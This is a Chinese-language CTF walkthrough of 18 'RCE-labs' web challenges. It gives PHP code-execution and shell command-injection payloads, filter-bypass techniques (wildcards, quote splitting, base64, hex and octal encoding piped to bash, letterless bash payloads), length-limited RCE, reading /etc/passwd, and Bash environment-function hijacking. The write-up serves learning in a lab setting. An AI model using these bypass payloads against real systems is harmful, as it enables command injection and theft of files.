青少年CTF练习平台
1.【RCE-labs】Level 1
纯粹的代码执行 a=system('ls /'); a=system('cat /flag');
2.【RCE-labs】Level 2
| 函数 | 作用 | |
|---|---|---|
get_fun() | 从数组中随机选一个函数存入 session，可通过 ?action=r 重置 | |
hello_ctf($function, $content) | 拼接并执行代码：$function($content); | |
start($act) | 处理用户请求 | |
| 函数 | 利用 Payload | 原理说明 |
eval | echo $flag; | 直接执行 PHP 代码 |
assert | print_r($flag) | PHP 8.0 前字符串参数会被当作代码执行 |
call_user_func | 'print_r', $flag | 第一个参数是回调函数，第二个是参数 |
create_function | '$a', 'echo $flag;' | 创建匿名函数并执行（PHP 7.2+ 废弃） |
array_map | print_r($flag), $a | 对数组每个元素应用回调函数 |
call_user_func_array | print_r($flag), array() | 用数组传参调用回调函数 |
usort | $a, print_r($flag) | 自定义排序回调 |
array_filter | $a, print_r($flag) | 过滤数组回调 |
array_reduce | $a, print_r($flag) | 归约数组回调 |
preg_replace | '/(.)/ei', 'strtolower("\\1")', ${print_r($flag)} | /e 模式代码执行（PHP 7.3+ 移除） |
if(act == "submit")---随即生成函数后使用对应的payload _ POST'content';---通过post传参使用代码执行
3.【RCE-labs】Level 3
system($_POST['a']);
一句话木马，直接a=ls /;发现flag
cat /flag；
4.【RCE-labs】Level 4
介绍了 ；&& || &的作用 ?=ip;cat /flag; 使用；不管前面的命令是否执行都会执行后面的命令
5.【RCE-labs】Level 5
知识点：
在Shell中，单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如：echo "a，而 echo $a 会输出变量a的值，当只有""则表示空字符串，Shell会忽略它。
*（星号）: 匹配零个或多个字符。例子: *.txt。
?（问号）: 匹配单个字符。例子: file?.txt。
（方括号）: 匹配方括号内的任意一个字符。例子: file1-3.txt。
^（取反方括号）: 匹配不在方括号内的字符。例子: file^a-c.txt。
{}（大括号）: 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧，我们可以用于绕过CTF中一些简单的过滤：
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/ss");
解法：
1.空字符串拼接
/?cmd=cat /f''lag
2. 通配符绕过
/?cmd=cat /f?ag
3. 变量赋值与拼接
/?cmd=a=c;b=at;c=fla;d=g;$a$b /$c$d
4. 特殊变量替换
1.
/?cmd=ca$1t /fl$@ag
2.
/?cmd=ca$1t /fl$1ag
5.编码绕过
1.base64
/?cmd=echo "Y2F0IC9mbGFn"|base64 -d|bash
2.十六进制编码
/?cmd=echo -n 636174202f666c6167 | xxd -r -p | bash
3.八进制编码
/?cmd=$(printf "\143\141\164\040\057\146\154\141\147\012")
5.反斜杠转义
/?cmd=cat /f\l\ag
6.【RCE-labs】Level 6
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd))
注意：a没有被过滤（良心）
解法：
1. 利用 ? 匹配 /bin/cat
/?cmd=/???/?a? /??a?
2.base64
/?cmd=/???/?a??64 /??a?
7.【RCE-labs】Level 7
if(preg_match("/flag| /", $cmd))这里的空格和flag都被过滤了
空格可以使用%09，$IFS来绕过
8.【RCE-labs】Level 8
system($cmd.">/dev/null 2>&1");这里是文件描述和重定向，这是无回显RCE /输出重定向
$cmd后面强制拼接了>/dev/null 2>&1>/dev/null：标准输出（文件描述符 1）重定向到空设备，被丢弃2>&1：标准错误（文件描述符 2）重定向到标准输出，同样被丢弃- 结果：命令执行了，但没有任何输出返回
常用的重定向符号：
解法：
1. 使用 ; 截断重定向
/?cmd=cat /flag;
- 原始命令拼接后变成：
cat /flag; >/dev/null 2>&1 ;是 Shell 的命令分隔符cat /flag先执行并输出到屏幕;后面的>/dev/null 2>&1被视为新的空命令的重定向，不影响前面的输出
2.使用<截断重定向
/?cmd=cat /flag<
3. 使用换行符 %0a 截断
/?cmd=cat /flag%0a
9.【RCE-labs】Level 9
https://probiusofficial.github.io/bashFuck/ 这是专门用于生成 无字母命令执行 的 Bash Payload。
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd))由于这一题它把大小写字母以及特殊符号都过滤了
八进制转义执行命令
# ls 命令 $'\154\163' # cat /flag 命令（***注意：不能有空格在转义字符串内***） $'\143\141\164' $'\57\146\154\141\147'
10.【RCE-labs】Level
命令执行 - bash终端的无字母命令执行_二进制整数替换if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd))
这里还留了0、1、‘、$、<、\、（、）
使用上面的在线工具
值得注意的是在url里面#要写成%23
11.【RCE-labs】Level 11
bash终端的无字母命令执行_数字1的特殊变量替换if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd))
相对于上一题1也被过滤了，在仅允许 0 和 ${ } 的极端限制下，利用 Bash 变量扩展 ${##}（字符串长度）构造数字 1
这里注意的是post传参
12.【RCE-labs】Level 12
bash终端的无字母命令执行_数字0的特殊变量替换if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd))
相对于上一题0也被过滤了，可以使用${#}来代替0
13.【RCE-labs】Level 13
bash终端的无字母命令执行_特殊扩展替换任意数字if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd))
相对于上一题#也被过滤了，只能使用
! $ & ' ( ) = < \ _ { } ~
使用取反运算 $((~$(())))= (())&& {!}<<< {!__}\<\<\<\'\(((())))(())))))))(((())))(())))(())))(())))(())))))))(((())))(())))(())))(())))))))\(((())))(())))))))(((())))(())))(())))(())))(())))))))(((())))(())))))))\(((())))(())))))))(((())))(())))(())))(())))(())))(())))(())))))))(((())))(())))(())))(())))(())))))))\(((())))(())))(())))(())))(())))))))((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((~$(())))))))'
但是在url里要编码一下，即
/?cmd=%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27
14.【RCE-labs】Level
too long??????????????????????????????
没有头绪，用dirsearch什么都没有扫出来，于是使用参数字典爆破出?1=
拿到了源码
长度限制_7字符RCE
?1=ls /---发现了flag
?1=cat /flag但是长度超过了7
使用通配符?1=cat /f* 拿到flag
15.【RCE-labs】Level 15
命令执行 - 长度限制_5字符RCE
考点：
利用 > 创建文件 + ls -t 时间排序 + \ 续行 + sh 执行文件内容
目前写出来的人不多，需要了解反弹shell
16.【RCE-labs】Level 16
同上
17.【RCE-labs】Level 17
| 函数 | payload | 作用 |
|---|---|---|
system() | 'cat /etc/passwd' | 用于在系统权限允许的情况下执行系统命令 |
exec() | 'cat /etc/passwd', $result print_r($result) | 可以执行系统命令，但不会直接输出结果，而是将结果保存到数组中 |
shell_exec() | 'cat /etc/passwd' | 执行系统命令，但返回一个字符串类型的变量来存储系统命令的执行结果 |
passthru() | 'cat /etc/passwd' | 执行系统命令并将执行结果输出到页面中，支持二进制数据 |
popen() | popen('cat /etc/passwd', 'r'); echo fread($result, 100); | 执行系统命令，但返回一个资源类型的变量，需要配合 fread() 函数读取结果 |
| popen（）函数: | ||
| content='cat /flag','r');result,100 |
18.【RCE-labs】Level 18
Bash 环境变量注入putenv("{$key}={$val}动态设置环境变量，用户可控 key 和 val
漏洞点：通过设置 BASH_FUNC_xxx%% 环境变量，定义同名函数劫持 echo
方法：### Bash 函数劫持
原理：Bash 支持通过环境变量定义函数，格式为 BASH_FUNC_函数名%%=() { 命令; }。当启动新 Bash 进程时，会解析这些环境变量并创建对应函数，优先于内置命令执行。
/?envs[BASH_FUNC_echo%%]=() { cat /flag; }
评论区
评论加载中...